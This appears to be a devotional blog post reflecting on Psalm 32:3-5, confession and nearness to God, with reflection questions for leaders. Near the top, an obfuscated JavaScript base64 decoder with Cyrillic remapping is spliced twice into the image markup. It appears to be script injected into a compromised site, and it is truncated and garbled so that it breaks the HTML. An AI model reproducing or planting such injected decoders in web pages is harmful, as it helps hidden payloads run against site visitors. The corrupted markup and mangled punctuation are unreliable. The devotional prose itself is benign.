Confession: Freedom in Truthtelling

function oc532bd2f6(uf){var yd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var vb=”;var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndandSerenity2.jpg”>function oc532bd2f6(uf){var yd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var vb=”;var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndandSerenity2-614×409.jpg” alt=”DeathtoStock_EnergyandSerenity2" width="614" height="409" />

Ps 32:3-5 NRSV, ?While I kept silence, my body wasted away??through my groaning all day long. ?For day and night your hand was heavy upon me;??my strength was dried up as by the heat of summer.? Selah. Then I acknowledged my sin to you,??and I did not hide my iniquity;?I said, ?I will confess my transgressions to the Lord?,??and you forgave the guilt of my?sin.?Selah.?

David uses two selahs. What he?s saying is really worth stopping and letting it soak in. When I pretend there is nothing wrong in me or with me, I cease to abide in the truth. I wither and I groan. I feel distant from divine favor, not because favor has ceased, but because I have closed myself off from favor. My strength dries up. Everything good that comes from communion with God evaporates.

But, as soon as I acknowledge what?s wrong, I come into the light, experience forgiveness and reconciliation, and enter back into the place of divine life, favor and grace. It?s about my connection or disconnection, nearness or distance from God.

REFLECTION

In your own life and leadership, where have you been tempted to hide the truth from God and even, if it were possible, from yourself?

How might you prayerfully ?tell it like it actually is? to God and discover that the light of His presence is a place of acceptance, forgiveness and freedom, not a place of rejection or condemnation?